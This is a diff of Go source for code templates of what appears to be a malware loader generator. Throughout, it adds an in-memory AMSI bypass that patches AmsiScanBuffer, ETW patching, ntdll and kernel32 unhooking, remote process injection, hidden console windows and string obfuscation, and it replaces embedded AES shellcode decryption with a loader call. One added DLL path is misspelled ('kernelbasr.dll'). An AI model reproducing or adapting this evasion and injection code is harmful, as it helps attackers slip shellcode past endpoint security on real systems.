@@ -851,7 +720,56 @@ func DLL() string {
`
}
-func WindowsVersion_DLL_Refresher() string {
+func WriteProcessMemory_Function() string {
+ return `
+ const (
+ {{.Variables.errnoERROR_IO_PENDING}}= 997
+ )
+ var {{.Variables.errERROR_IO_PENDING}} error = syscall.Errno({{.Variables.errnoERROR_IO_PENDING}})
+ var {{.Variables.procWriteProcessMemory}} = syscall.NewLazyDLL(string([]byte{'k', 'e', 'r', 'n', 'e', 'l', '3', '2',})).NewProc({{.Variables.decode}}("{{.Variables.WriteProcessMemoryName}}"))
+
+
+ func {{.Variables.WriteProcessMemory}}({{.Variables.hProcess}} uintptr, {{.Variables.lpBaseAddress}} uintptr, {{.Variables.lpBuffer}} *byte, {{.Variables.nSize}} uintptr, {{.Variables.lpNumberOfBytesWritten}} *uintptr) (err error) {
+ r1, _, e1 := syscall.Syscall6({{.Variables.procWriteProcessMemory}}.Addr(), 5, uintptr({{.Variables.hProcess}}), uintptr({{.Variables.lpBaseAddress}}), uintptr(unsafe.Pointer({{.Variables.lpBuffer}})), uintptr({{.Variables.nSize}}), uintptr(unsafe.Pointer({{.Variables.lpNumberOfBytesWritten}})), 0)
+ if r1 == 0 {
+ if e1 != 0 {
+ err = {{.Variables.errnoErr}}(e1)
+ } else {
+ err = syscall.EINVAL
+ }
+ }
+ return
+ }
+
+ func {{.Variables.errnoErr}}(e syscall.Errno) error {
+ switch e {
+ case 0:
+ return nil
+ case {{.Variables.errnoERROR_IO_PENDING}}:
+ return {{.Variables.errERROR_IO_PENDING}}
+ }
+
+ return e
+ }
+
+
+ func {{.Variables.decode}}({{.Variables.b64}} string,) string {
+ var {{.Variables.decoded}} []byte
+ {{.Variables.decoded}}, _ = base64.StdEncoding.DecodeString({{.Variables.b64}})
+ {{.Variables.sum}} := 1
+ for i := 1; i < {{.Variables.number}}; i++ {
+ {{.Variables.decoded}}, _ = base64.StdEncoding.DecodeString(string({{.Variables.decoded}}))
+ {{.Variables.sum}} += i
+ }
+ return string({{.Variables.decoded}})
+
+ }
+
+
+ `
+}
+
+func WindowsVersion_Syscall() string {
return `
if {{.Variables.Version}} == "10.0" {
{{.Variables.customsyscall}} = 0x18
@@ -870,7 +788,7 @@ func WindowsVersion_DLL_Refresher() string {
`
}
-func WindowsVersion_DLL() string {
+func WindowsVersion_Syscall_Unmod() string {
return `
if {{.Variables.Version}} == "10.0" {
{{.Variables.customsyscall}} = 0x18
@@ -881,66 +799,15 @@ func WindowsVersion_DLL() string {
} else if {{.Variables.Version}} == "6.1" {
{{.Variables.customsyscall}} = 0x15
}
- return
- `
-}
-
-func WindowsVersion_Binary() string {
- return `
-
- if {{.Variables.Version}} == "10.0" {
- {{.Variables.customsyscall}} = 0x50
- } else if {{.Variables.Version}} == "6.3" {
- {{.Variables.customsyscall}} = 0x4f
- } else if {{.Variables.Version}} == "6.2" {
- {{.Variables.customsyscall}} = 0x4e
- } else if {{.Variables.Version}} == "6.1" {
- {{.Variables.customsyscall}}= 0x4d
- }
- return {{.Variables.Version}}
`
}
func ETW_Function() string {
return `
- var {{.Variables.procWriteProcessMemory}} = syscall.NewLazyDLL("kernel32.dll").NewProc({{.Variables.decode}}("{{.Variables.WriteProcessMemoryName}}"))
- var {{.Variables.procEtwNotificationRegister}} = syscall.NewLazyDLL("ntdll.dll").NewProc({{.Variables.decode}}("{{.Variables.EtwNotificationRegisterName}}"))
- var {{.Variables.procEtwEventRegister}} = syscall.NewLazyDLL("ntdll.dll").NewProc({{.Variables.decode}}("{{.Variables.EtwEventRegisterName}}"))
- var {{.Variables.procEtwEventWriteFull}} = syscall.NewLazyDLL("ntdll.dll").NewProc({{.Variables.decode}}("{{.Variables.EtwEventWriteFullName}}"))
- var {{.Variables.procEtwEventWrite}} = syscall.NewLazyDLL("ntdll.dll").NewProc({{.Variables.decode}}("{{.Variables.EtwEventWriteName}}"))
-
-
- var (
- errERROR_IO_PENDING error = syscall.Errno(errnoERROR_IO_PENDING)
- )
- const (
- errnoERROR_IO_PENDING = 997
- )
-
-
- func {{.Variables.errnoErr}}(e syscall.Errno) error {
- switch e {
- case 0:
- return nil
- case errnoERROR_IO_PENDING:
- return errERROR_IO_PENDING
- }
-
- return e
- }
-
-
- func {{.Variables.WriteProcessMemory}}({{.Variables.hProcess}} uintptr, {{.Variables.lpBaseAddress}} uintptr, {{.Variables.lpBuffer}} *byte, {{.Variables.nSize}} uintptr, {{.Variables.lpNumberOfBytesWritten}} *uintptr) (err error) {
- r1, _, e1 := syscall.Syscall6({{.Variables.procWriteProcessMemory}}.Addr(), 5, uintptr({{.Variables.hProcess}}), uintptr({{.Variables.lpBaseAddress}}), uintptr(unsafe.Pointer({{.Variables.lpBuffer}})), uintptr({{.Variables.nSize}}), uintptr(unsafe.Pointer({{.Variables.lpNumberOfBytesWritten}})), 0)
- if r1 == 0 {
- if e1 != 0 {
- err = {{.Variables.errnoErr}}(e1)
- } else {
- err = syscall.EINVAL
- }
- }
- return
- }
+ var {{.Variables.procEtwNotificationRegister}} = syscall.NewLazyDLL(string([]byte{'n', 't', 'd', 'l', 'l',})).NewProc({{.Variables.decode}}("{{.Variables.EtwNotificationRegisterName}}"))
+ var {{.Variables.procEtwEventRegister}} = syscall.NewLazyDLL(string([]byte{'n', 't', 'd', 'l', 'l',})).NewProc({{.Variables.decode}}("{{.Variables.EtwEventRegisterName}}"))
+ var {{.Variables.procEtwEventWriteFull}} = syscall.NewLazyDLL(string([]byte{'n', 't', 'd', 'l', 'l',})).NewProc({{.Variables.decode}}("{{.Variables.EtwEventWriteFullName}}"))
+ var {{.Variables.procEtwEventWrite}} = syscall.NewLazyDLL(string([]byte{'n', 't', 'd', 'l', 'l',})).NewProc({{.Variables.decode}}("{{.Variables.EtwEventWriteName}}"))
func {{.Variables.ETW}}() {
{{.Variables.handle}} := uintptr(0xffffffffffffffff)
@@ -956,6 +823,21 @@ func ETW_Function() string {
`
}
+func AMSI_Function() string {
+ return `
+ func {{.Variables.AMSI}}() {
+ var {{.Variables.handle}} uint64
+ {{.Variables.handle}} = 0xffffffffffffffff
+ {{.Variables.ll}}, _ := windows.LoadLibrary("amsi.dll")
+ {{.Variables.addr}}, _ := windows.GetProcAddress({{.Variables.ll}}, "AmsiScanBuffer")
+ {{.Variables.data}}, _ := hex.DecodeString("B857000780C3")
+ var {{.Variables.nLength}} uintptr
+ {{.Variables.datalength}} := len({{.Variables.data}})
+ {{.Variables.WriteProcessMemory}}(uintptr({{.Variables.handle}}), uintptr(uint({{.Variables.addr}})), &{{.Variables.data}}[0], uintptr(uint32({{.Variables.datalength}})), &{{.Variables.nLength}})
+ }
+ `
+}
+
func Procces_Injection_DLL() string {
return `
package main
@@ -964,8 +846,6 @@ func Procces_Injection_DLL() string {
import (
- "crypto/aes"
- "crypto/cipher"
"debug/pe"
"encoding/base64"
"encoding/hex"
@@ -973,7 +853,6 @@ func Procces_Injection_DLL() string {
"[loader]/[loader]"
"io/ioutil"
"syscall"
- "os"
"time"
"unsafe"
"strconv"
@@ -987,40 +866,25 @@ const (
{{.Variables.PROCESS_ALL_ACCESS}}= 0x1F0FFF
)
var _ unsafe.Pointer
-const (
- {{.Variables.errnoERROR_IO_PENDING}}= 997
-)
var (
- {{.Variables.errERROR_IO_PENDING}} error = syscall.Errno({{.Variables.errnoERROR_IO_PENDING}})
{{.Variables.customsyscall}} uint16
{{.Variables.customsyscallVP}} uint16
{{.Variables.Version}} string
{{.Variables.number}} int = {{.Variables.b64number}}
)
-func errnoErr(e syscall.Errno) error {
- switch e {
- case 0:
- return nil
- case {{.Variables.errnoERROR_IO_PENDING}}:
- return {{.Variables.errERROR_IO_PENDING}}
- }
- return e
-}
+var {{.Variables.procWriteProcessMemory}} = syscall.NewLazyDLL(string([]byte{'k', 'e', 'r', 'n', 'e', 'l', '3', '2',})).NewProc("WriteProcessMemory")
+var {{.Variables.funcNtCreateThreadEx}} = syscall.NewLazyDLL(string([]byte{'n', 't', 'd', 'l', 'l',})).NewProc("NtCreateThreadEx")
+var {{.Variables.funcNtWriteVirtualMemory}} = syscall.NewLazyDLL(string([]byte{'n', 't', 'd', 'l', 'l',})).NewProc("NtWriteVirtualMemory")
+var {{.Variables.funcNtAllocateVirtualMemory}} = syscall.NewLazyDLL(string([]byte{'n', 't', 'd', 'l', 'l',})).NewProc("NtAllocateVirtualMemory")
+var {{.Variables.funcNtProtectVirtualMemory}} = syscall.NewLazyDLL(string([]byte{'n', 't', 'd', 'l', 'l',})).NewProc("NtProtectVirtualMemory")
+var {{.Variables.procEnumProcessModules}} = syscall.NewLazyDLL(string([]byte{'p', 's', 'a', 'p', 'i',})).NewProc("EnumProcessModules")
+var {{.Variables.procGetModuleBaseName}} = syscall.NewLazyDLL(string([]byte{'p', 's', 'a', 'p', 'i',})).NewProc("GetModuleBaseNameW")
+var {{.Variables.procGetModuleInformation}} = syscall.NewLazyDLL(string([]byte{'p', 's', 'a', 'p', 'i',})).NewProc("GetModuleInformation")
-var {{.Variables.procWriteProcessMemory}} = syscall.NewLazyDLL("kernel32.dll").NewProc("WriteProcessMemory")
-var {{.Variables.funcNtCreateThreadEx}} = syscall.NewLazyDLL("ntdll.dll").NewProc("NtCreateThreadEx")
-var {{.Variables.funcNtWriteVirtualMemory}} = syscall.NewLazyDLL("ntdll.dll").NewProc("NtWriteVirtualMemory")
-var {{.Variables.funcNtAllocateVirtualMemory}} = syscall.NewLazyDLL("ntdll.dll").NewProc("NtAllocateVirtualMemory")
-var {{.Variables.funcNtProtectVirtualMemory}} = syscall.NewLazyDLL("ntdll.dll").NewProc("NtProtectVirtualMemory")
-
-var {{.Variables.procEnumProcessModules}} = syscall.NewLazyDLL("psapi.dll").NewProc("EnumProcessModules")
-var {{.Variables.procGetModuleBaseName}} = syscall.NewLazyDLL("psapi.dll").NewProc("GetModuleBaseNameW")
-var {{.Variables.procGetModuleInformation}} = syscall.NewLazyDLL("psapi.dll").NewProc("GetModuleInformation")
-
func errno(e1 error) error {
if e1, ok := e1.(syscall.Errno); ok && e1 == 0 {
e1 = syscall.EINVAL
@@ -1153,26 +1017,9 @@ func {{.Variables.EnumProcessModules}}({{.Variables.process}} windows.Handle, {{
return {{.Variables.n}}, nil
}
-func {{.Variables.WriteProcessMemory}}({{.Variables.hProcess}} windows.Handle, {{.Variables.lpBaseAddress}} uintptr, {{.Variables.lpBuffer}} uintptr, {{.Variables.nSize}} uintptr, {{.Variables.lpNumberOfBytesWritten}} *uintptr) ({{.Variables.err}} error) {
- r1, _, e1 := syscall.Syscall6({{.Variables.procWriteProcessMemory}}.Addr(), 5, uintptr({{.Variables.hProcess}}), uintptr({{.Variables.lpBaseAddress}}), uintptr(unsafe.Pointer({{.Variables.lpBuffer}})), uintptr({{.Variables.nSize}}), uintptr(unsafe.Pointer({{.Variables.lpNumberOfBytesWritten}})), 0)
- if r1 == 0 {
- if e1 != 0 {
- {{.Variables.err}} = errnoErr(e1)
- } else {
- {{.Variables.err}} = syscall.EINVAL
- }
- }
- return
-}
{{.Variables.Sandboxfunction}}
-func {{.Variables.PKCS5UnPadding}}({{.Variables.src}} []byte) []byte {
- {{.Variables.length}} := len({{.Variables.src}})
- {{.Variables.unpadding}} := int({{.Variables.src}}[{{.Variables.length}}-1])
- return {{.Variables.src}}[:({{.Variables.length}} - {{.Variables.unpadding}} )]
-}
-
func {{.Variables.Versionfunc}}() string {
{{.Variables.k}}, _ := registry.OpenKey(registry.LOCAL_MACHINE, "SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion", registry.QUERY_VALUE)
@@ -1186,28 +1033,22 @@ func {{.Variables.Versionfunc}}() string {
{{.Variables.SyscallNumberlist}}
}
-func {{.Variables.decode}}({{.Variables.b64}} string,) string {
- var {{.Variables.decoded}} []byte
- {{.Variables.decoded}}, _ = base64.StdEncoding.DecodeString({{.Variables.b64}})
- {{.Variables.sum}} := 1
- for i := 1; i < {{.Variables.number}}; i++ {
- {{.Variables.decoded}}, _ = base64.StdEncoding.DecodeString(string({{.Variables.decoded}}))
- {{.Variables.sum}} += i
- }
- return string({{.Variables.decoded}})
-}
+{{.Variables.WriteProcessMemory_Function}}
{{.Variables.ETW_Function}}
+{{.Variables.AMSI_Function}}
+
+
func {{.Variables.loader}}() {
- err := {{.Variables.Reloading}}({{.Variables.decode}}("{{.Variables.kernel32}}"))
+ err := {{.Variables.Reloading}}(string([]byte{'C', ':', '\\', 'W', 'i', 'n', 'd', 'o', 'w', 's', '\\', 'S', 'y', 's', 't', 'e', 'm', '3', '2', '\\', 'k', 'e', 'r', 'n', 'e', 'l', '3', '2', '.', 'd', 'l', 'l'}))
if err != nil {
}
- err = {{.Variables.Reloading}}({{.Variables.decode}}("{{.Variables.kernelbase}}"))
+ err = {{.Variables.Reloading}}(string([]byte{'C', ':', '\\', 'W', 'i', 'n', 'd', 'o', 'w', 's', '\\', 'S', 'y', 's', 't', 'e', 'm', '3', '2', '\\', 'k', 'e', 'r', 'n', 'e', 'l', 'b', 'a', 's', 'r', '.', 'd', 'l', 'l'}))
if err != nil {
}
- err = {{.Variables.Reloading}}({{.Variables.decode}}("{{.Variables.ntdll}}"))
+ err = {{.Variables.Reloading}}(string([]byte{'C', ':', '\\', 'W', 'i', 'n', 'd', 'o', 'w', 's', '\\', 'S', 'y', 's', 't', 'e', 'm', '3', '2', '\\', 'n', 't', 'd', 'l', 'l', '.', 'd', 'l', 'l'}))
if err != nil {
}
}
@@ -1268,41 +1109,18 @@ func main() {
{{.Variables.ExportName}}
-//export Start
-func Start() {
+//export Run
+func Run() {
{{.Variables.Sandbox}}
{{.Variables.ETW}}
+ {{.Variables.AMSI}}
{{.Variables.Version}} = {{.Variables.Versionfunc}}()
if {{.Variables.Version}} == "10.0" {
{{.Variables.loader}}()
}
{{.Variables.ETW}}
-
- {{.Variables.ciphertext}}
- {{.Variables.vciphertext}}, _ := base64.StdEncoding.DecodeString({{.Variables.fullciphertext}})
- {{.Variables.vkey}}, _ := base64.StdEncoding.DecodeString("{{.Variables.key}}")
- {{.Variables.viv}}, _ := base64.StdEncoding.DecodeString("{{.Variables.iv}}")
-
- {{.Variables.block}}, err := aes.NewCipher({{.Variables.vkey}})
- if err != nil {
- return
- }
-
-
- if len({{.Variables.vciphertext}}) < aes.BlockSize {
- return
- }
-
- {{.Variables.decrypted}} := make([]byte, len({{.Variables.vciphertext}}))
- {{.Variables.mode}} := cipher.NewCBCDecrypter({{.Variables.block}}, {{.Variables.viv}})
- {{.Variables.mode}}.CryptBlocks({{.Variables.decrypted}}, {{.Variables.vciphertext}})
- {{.Variables.stuff}} := {{.Variables.PKCS5UnPadding}}({{.Variables.decrypted}})
-
- {{.Variables.rawdata}} := (string({{.Variables.stuff}}))
- {{.Variables.hexdata}}, _ := base64.StdEncoding.DecodeString({{.Variables.rawdata}})
- {{.Variables.raw_bin}}, _ := hex.DecodeString(string({{.Variables.hexdata}}))
+ {{.Variables.raw_bin}} := [loader].{{.Variables.FuncName}}()
{{.Variables.ReloadRemoteProcess}}({{.Variables.raw_bin}})
- os.Stdout, _ = os.Open(os.DevNull)
}
@@ -1324,8 +1142,8 @@ func {{.Variables.RemoteModuleReloading}}({{.Variables.name}} string, {{.Variabl
{{.Variables.regionsize}} := len({{.Variables.bytes}})
{{.Variables.offsetaddr}} := uintptr({{.Variables.dllOffset}})
var {{.Variables.nLength}} uintptr
- {{.Variables.WriteProcessMemory}}({{.Variables.handle}}, {{.Variables.offsetaddr}}, uintptr(unsafe.Pointer(&{{.Variables.data}}[0])), uintptr(uint32({{.Variables.regionsize}})), &{{.Variables.nLength}})
-
+ {{.Variables.WriteProcessMemory}}(uintptr({{.Variables.handle}}), {{.Variables.offsetaddr}}, &{{.Variables.data}}[0], uintptr(uint32({{.Variables.regionsize}})), &{{.Variables.nLength}})
+
return nil
}
@@ -1340,7 +1158,7 @@ func {{.Variables.Reloading}}({{.Variables.DLLname}} string) error {
if {{.Variables.error}} != nil {
return {{.Variables.error}}
}
- {{.Variables.x}} := {{.Variables.file}}.Section(".text")
+ {{.Variables.x}} := {{.Variables.file}}.Section(string([]byte{'.', 't', 'e', 'x', 't'}))
{{.Variables.bytes}} := {{.Variables.dll}}[{{.Variables.x}}.Offset:{{.Variables.x}}.Size]
{{.Variables.loaddll}}, {{.Variables.error}} := windows.LoadDLL({{.Variables.DLLname}})
if {{.Variables.error}} != nil {
@@ -1349,51 +1167,13 @@ func {{.Variables.Reloading}}({{.Variables.DLLname}} string) error {
{{.Variables.handle}} := {{.Variables.loaddll}}.Handle
{{.Variables.dllBase}} := uintptr({{.Variables.handle}})
{{.Variables.dllOffset}} := uint({{.Variables.dllBase}}) + uint({{.Variables.x}}.VirtualAddress)
- var {{.Variables.oldfartcodeperms}} uintptr
- {{.Variables.regionsize}} := uintptr(len({{.Variables.bytes}}))
{{.Variables.handlez}} := uintptr(0xffffffffffffffff)
- {{.Variables.runfunc}}, _ := [NtProtectVirtualMemory](
- {{.Variables.customsyscallVP}},
- {{.Variables.handlez}},
- (*uintptr)(unsafe.Pointer(&{{.Variables.dllOffset}})),
- &{{.Variables.regionsize}},
- syscall.PAGE_EXECUTE_READWRITE,
- &{{.Variables.oldfartcodeperms}},
- )
- if {{.Variables.runfunc}} != 0 {
- }
+ var {{.Variables.oldfartcodeperms}} uintptr
-
- for i := 0; i < len({{.Variables.bytes}}); i++ {
- {{.Variables.loc}} := uintptr({{.Variables.dllOffset}} + uint(i))
- {{.Variables.mem}} := (*[1]byte)(unsafe.Pointer({{.Variables.loc}}))
- (*{{.Variables.mem}})[0] = {{.Variables.bytes}}[i]
- }
-
- {{.Variables.runfunc}}, _ = [NtProtectVirtualMemory](
- {{.Variables.customsyscallVP}},
- {{.Variables.handlez}},
- (*uintptr)(unsafe.Pointer(&{{.Variables.dllOffset}})),
- &{{.Variables.regionsize}},
- {{.Variables.oldfartcodeperms}},
- &{{.Variables.oldfartcodeperms}},
- )
- if {{.Variables.runfunc}} != 0 {
- }
+ {{.Variables.WriteProcessMemory}}({{.Variables.handlez}}, uintptr({{.Variables.dllOffset}}), &{{.Variables.bytes}}[0], uintptr(uint32(len({{.Variables.bytes}}))), & {{.Variables.oldfartcodeperms}})
return nil
}
-func [NtProtectVirtualMemory]({{.Variables.sysid}} uint16, {{.Variables.processHandle}} uintptr, {{.Variables.baseAddress}}, {{.Variables.regionSize}} *uintptr, {{.Variables.NewProtect}} uintptr, {{.Variables.oldprotect}} *uintptr) (uint32, error) {
-
- return [loader].[NtProtectVirtualMemory](
- {{.Variables.sysid}},
- {{.Variables.processHandle}},
- uintptr(unsafe.Pointer({{.Variables.baseAddress}})),
- uintptr(unsafe.Pointer({{.Variables.regionSize}})),
- {{.Variables.NewProtect}},
- uintptr(unsafe.Pointer({{.Variables.oldprotect}})),
- )
-}
`
@@ -1402,21 +1182,18 @@ func [NtProtectVirtualMemory]({{.Variables.sysid}} uint16, {{.Variables.processH
func Procces_Injection() string {
return `
package main
-
- import "C"
+
import (
- "crypto/aes"
- "crypto/cipher"
"debug/pe"
"encoding/base64"
"encoding/hex"
- "fmt"
"[loader]/[loader]"
{{.Variables.DebugImport}}
"io/ioutil"
"syscall"
+ "fmt"
"time"
"unsafe"
"strconv"
@@ -1431,38 +1208,23 @@ const (
{{.Variables.PROCESS_ALL_ACCESS}}= 0x1F0FFF
)
var _ unsafe.Pointer
-const (
- {{.Variables.errnoERROR_IO_PENDING}}= 997
-)
+
var (
- {{.Variables.errERROR_IO_PENDING}} error = syscall.Errno({{.Variables.errnoERROR_IO_PENDING}})
{{.Variables.customsyscall}} uint16
+ {{.Variables.customsyscallVP}} uint16
{{.Variables.number}} int = {{.Variables.b64number}}
)
-func errnoErr(e syscall.Errno) error {
- switch e {
- case 0:
- return nil
- case {{.Variables.errnoERROR_IO_PENDING}}:
- return {{.Variables.errERROR_IO_PENDING}}
- }
- return e
-}
+var {{.Variables.procWriteProcessMemory}} = syscall.NewLazyDLL(string([]byte{'k', 'e', 'r', 'n', 'e', 'l', '3', '2',})).NewProc("WriteProcessMemory")
+var {{.Variables.funcNtCreateThreadEx}} = syscall.NewLazyDLL(string([]byte{'n', 't', 'd', 'l', 'l',})).NewProc("NtCreateThreadEx")
+var {{.Variables.funcNtWriteVirtualMemory}} = syscall.NewLazyDLL(string([]byte{'n', 't', 'd', 'l', 'l',})).NewProc("NtWriteVirtualMemory")
+var {{.Variables.funcNtAllocateVirtualMemory}} = syscall.NewLazyDLL(string([]byte{'n', 't', 'd', 'l', 'l',})).NewProc("NtAllocateVirtualMemory")
+var {{.Variables.funcNtProtectVirtualMemory}} = syscall.NewLazyDLL(string([]byte{'n', 't', 'd', 'l', 'l',})).NewProc("NtProtectVirtualMemory")
-
-
-var {{.Variables.procWriteProcessMemory}} = syscall.NewLazyDLL("kernel32.dll").NewProc("WriteProcessMemory")
-var {{.Variables.funcNtCreateThreadEx}} = syscall.NewLazyDLL("ntdll.dll").NewProc("NtCreateThreadEx")
-var {{.Variables.funcNtWriteVirtualMemory}} = syscall.NewLazyDLL("ntdll.dll").NewProc("NtWriteVirtualMemory")
-var {{.Variables.funcNtAllocateVirtualMemory}} = syscall.NewLazyDLL("ntdll.dll").NewProc("NtAllocateVirtualMemory")
-var {{.Variables.funcNtProtectVirtualMemory}} = syscall.NewLazyDLL("ntdll.dll").NewProc("NtProtectVirtualMemory")
-
-
-var {{.Variables.procEnumProcessModules}} = syscall.NewLazyDLL("psapi.dll").NewProc("EnumProcessModules")
-var {{.Variables.procGetModuleBaseName}} = syscall.NewLazyDLL("psapi.dll").NewProc("GetModuleBaseNameW")
-var {{.Variables.procGetModuleInformation}} = syscall.NewLazyDLL("psapi.dll").NewProc("GetModuleInformation")
+var {{.Variables.procEnumProcessModules}} = syscall.NewLazyDLL(string([]byte{'p', 's', 'a', 'p', 'i',})).NewProc("EnumProcessModules")
+var {{.Variables.procGetModuleBaseName}} = syscall.NewLazyDLL(string([]byte{'p', 's', 'a', 'p', 'i',})).NewProc("GetModuleBaseNameW")
+var {{.Variables.procGetModuleInformation}} = syscall.NewLazyDLL(string([]byte{'p', 's', 'a', 'p', 'i',})).NewProc("GetModuleInformation")
{{.Variables.Debug}}
@@ -1599,41 +1361,16 @@ func {{.Variables.EnumProcessModules}}({{.Variables.process}} windows.Handle, {{
return {{.Variables.n}}, nil
}
-func {{.Variables.WriteProcessMemory}}({{.Variables.hProcess}} windows.Handle, {{.Variables.lpBaseAddress}} uintptr, {{.Variables.lpBuffer}} uintptr, {{.Variables.nSize}} uintptr, {{.Variables.lpNumberOfBytesWritten}} *uintptr) ({{.Variables.err}} error) {
- r1, _, e1 := syscall.Syscall6({{.Variables.procWriteProcessMemory}}.Addr(), 5, uintptr({{.Variables.hProcess}}), uintptr({{.Variables.lpBaseAddress}}), uintptr(unsafe.Pointer({{.Variables.lpBuffer}})), uintptr({{.Variables.nSize}}), uintptr(unsafe.Pointer({{.Variables.lpNumberOfBytesWritten}})), 0)
- if r1 == 0 {
- if e1 != 0 {
- {{.Variables.err}} = errnoErr(e1)
- } else {
- {{.Variables.err}} = syscall.EINVAL
- }
- }
- return
-}
{{.Variables.Sandboxfunction}}
-func {{.Variables.PKCS5UnPadding}}({{.Variables.src}} []byte) []byte {
- {{.Variables.length}} := len({{.Variables.src}})
- {{.Variables.unpadding}} := int({{.Variables.src}}[{{.Variables.length}}-1])
- return {{.Variables.src}}[:({{.Variables.length}} - {{.Variables.unpadding}} )]
-}
-
func {{.Variables.Console}}(show bool) {
- {{.Variables.getWin}} := syscall.NewLazyDLL("kernel32.dll").NewProc("GetConsoleWindow")
- {{.Variables.showWin}} := syscall.NewLazyDLL("user32.dll").NewProc("ShowWindow")
+ {{.Variables.getWin}} := syscall.NewLazyDLL(string([]byte{'k', 'e', 'r', 'n', 'e', 'l', '3', '2',})).NewProc({{.Variables.decode}}("{{.Variables.GetConsoleWindowName}}"))
+ {{.Variables.showWin}} := syscall.NewLazyDLL(string([]byte{'u', 's', 'e', 'r', '3', '2',})).NewProc({{.Variables.decode}}("{{.Variables.ShowWindowName}}"))
{{.Variables.hwnd}}, _, _ := {{.Variables.getWin}}.Call()
- if {{.Variables.hwnd}} == 0 {
- return
- }
- if show {
- var {{.Variables.SW_RESTORE}} uintptr = 9
- {{.Variables.showWin}}.Call({{.Variables.hwnd}}, {{.Variables.SW_RESTORE}})
- } else {
- var {{.Variables.SW_HIDE}} uintptr = 0
- {{.Variables.showWin}}.Call({{.Variables.hwnd}}, {{.Variables.SW_HIDE}})
- }
+ var {{.Variables.SW_HIDE}} uintptr = 0
+ {{.Variables.showWin}}.Call({{.Variables.hwnd}}, {{.Variables.SW_HIDE}})
}
func {{.Variables.Versionfunc}}() string {
@@ -1651,30 +1388,23 @@ func {{.Variables.Versionfunc}}() string {
}
-func {{.Variables.decode}}({{.Variables.b64}} string,) string {
- var {{.Variables.decoded}} []byte
- {{.Variables.decoded}}, _ = base64.StdEncoding.DecodeString({{.Variables.b64}})
- {{.Variables.sum}} := 1
- for i := 1; i < {{.Variables.number}}; i++ {
- {{.Variables.decoded}}, _ = base64.StdEncoding.DecodeString(string({{.Variables.decoded}}))
- {{.Variables.sum}} += i
- }
- return string({{.Variables.decoded}})
-}
+{{.Variables.WriteProcessMemory_Function}}
{{.Variables.ETW_Function}}
+{{.Variables.AMSI_Function}}
+
func {{.Variables.loader}}() {
- err := {{.Variables.Reloading}}({{.Variables.decode}}("{{.Variables.kernel32}}"))
+ err := {{.Variables.Reloading}}(string([]byte{'C', ':', '\\', 'W', 'i', 'n', 'd', 'o', 'w', 's', '\\', 'S', 'y', 's', 't', 'e', 'm', '3', '2', '\\', 'k', 'e', 'r', 'n', 'e', 'l', '3', '2', '.', 'd', 'l', 'l'}))
if err != nil {
{{.Variables.RefreshPE}}
}
- err = {{.Variables.Reloading}}({{.Variables.decode}}("{{.Variables.kernelbase}}"))
+ err = {{.Variables.Reloading}}(string([]byte{'C', ':', '\\', 'W', 'i', 'n', 'd', 'o', 'w', 's', '\\', 'S', 'y', 's', 't', 'e', 'm', '3', '2', '\\', 'k', 'e', 'r', 'n', 'e', 'l', 'b', 'a', 's', 'r', '.', 'd', 'l', 'l'}))
if err != nil {
{{.Variables.RefreshPE}}
}
- err = {{.Variables.Reloading}}({{.Variables.decode}}("{{.Variables.ntdll}}"))
+ err = {{.Variables.Reloading}}(string([]byte{'C', ':', '\\', 'W', 'i', 'n', 'd', 'o', 'w', 's', '\\', 'S', 'y', 's', 't', 'e', 'm', '3', '2', '\\', 'n', 't', 'd', 'l', 'l', '.', 'd', 'l', 'l'}))
if err != nil {
{{.Variables.RefreshPE}}
}
@@ -1746,35 +1476,13 @@ func main() {
{{.Variables.Sandbox}}
{{.Variables.ETW}}
{{.Variables.hide}}
+ {{.Variables.AMSI}}
{{.Variables.Version}} := {{.Variables.Versionfunc}}()
if {{.Variables.Version}} == "10.0" {
{{.Variables.loader}}()
}
{{.Variables.ETW}}
-
- {{.Variables.ciphertext}}
- {{.Variables.vciphertext}}, _ := base64.StdEncoding.DecodeString({{.Variables.fullciphertext}})
- {{.Variables.vkey}}, _ := base64.StdEncoding.DecodeString("{{.Variables.key}}")
- {{.Variables.viv}}, _ := base64.StdEncoding.DecodeString("{{.Variables.iv}}")
-
- {{.Variables.block}}, err := aes.NewCipher({{.Variables.vkey}})
- if err != nil {
- return
- }
-
-
- if len({{.Variables.vciphertext}}) < aes.BlockSize {
- return
- }
-
- {{.Variables.decrypted}} := make([]byte, len({{.Variables.vciphertext}}))
- {{.Variables.mode}} := cipher.NewCBCDecrypter({{.Variables.block}}, {{.Variables.viv}})
- {{.Variables.mode}}.CryptBlocks({{.Variables.decrypted}}, {{.Variables.vciphertext}})
- {{.Variables.stuff}} := {{.Variables.PKCS5UnPadding}}({{.Variables.decrypted}})
-
- {{.Variables.rawdata}} := (string({{.Variables.stuff}}))
- {{.Variables.hexdata}}, _ := base64.StdEncoding.DecodeString({{.Variables.rawdata}})
- {{.Variables.raw_bin}}, _ := hex.DecodeString(string({{.Variables.hexdata}}))
+ {{.Variables.raw_bin}} := [loader].{{.Variables.FuncName}}()
{{.Variables.ReloadRemoteProcess}}({{.Variables.raw_bin}})
}
@@ -1797,13 +1505,12 @@ func {{.Variables.RemoteModuleReloading}}({{.Variables.name}} string, {{.Variabl
{{.Variables.regionsize}} := len({{.Variables.bytes}})
{{.Variables.offsetaddr}} := uintptr({{.Variables.dllOffset}})
var {{.Variables.nLength}} uintptr
- {{.Variables.WriteProcessMemory}}({{.Variables.handle}}, {{.Variables.offsetaddr}}, uintptr(unsafe.Pointer(&{{.Variables.data}}[0])), uintptr(uint32({{.Variables.regionsize}})), &{{.Variables.nLength}})
+ {{.Variables.WriteProcessMemory}}(uintptr({{.Variables.handle}}), {{.Variables.offsetaddr}}, &{{.Variables.data}}[0], uintptr(uint32({{.Variables.regionsize}})), &{{.Variables.nLength}})
return nil
}
-
func {{.Variables.Reloading}}({{.Variables.DLLname}} string) error {
{{.Variables.ReloadingMessage}}
{{.Variables.dll}}, {{.Variables.error}} := ioutil.ReadFile({{.Variables.DLLname}})
@@ -1814,7 +1521,7 @@ func {{.Variables.Reloading}}({{.Variables.DLLname}} string) error {
if {{.Variables.error}} != nil {
return {{.Variables.error}}
}
- {{.Variables.x}} := {{.Variables.file}}.Section(".text")
+ {{.Variables.x}} := {{.Variables.file}}.Section(string([]byte{'.', 't', 'e', 'x', 't'}))
{{.Variables.bytes}} := {{.Variables.dll}}[{{.Variables.x}}.Offset:{{.Variables.x}}.Size]
{{.Variables.loaddll}}, {{.Variables.error}} := windows.LoadDLL({{.Variables.DLLname}})
if {{.Variables.error}} != nil {
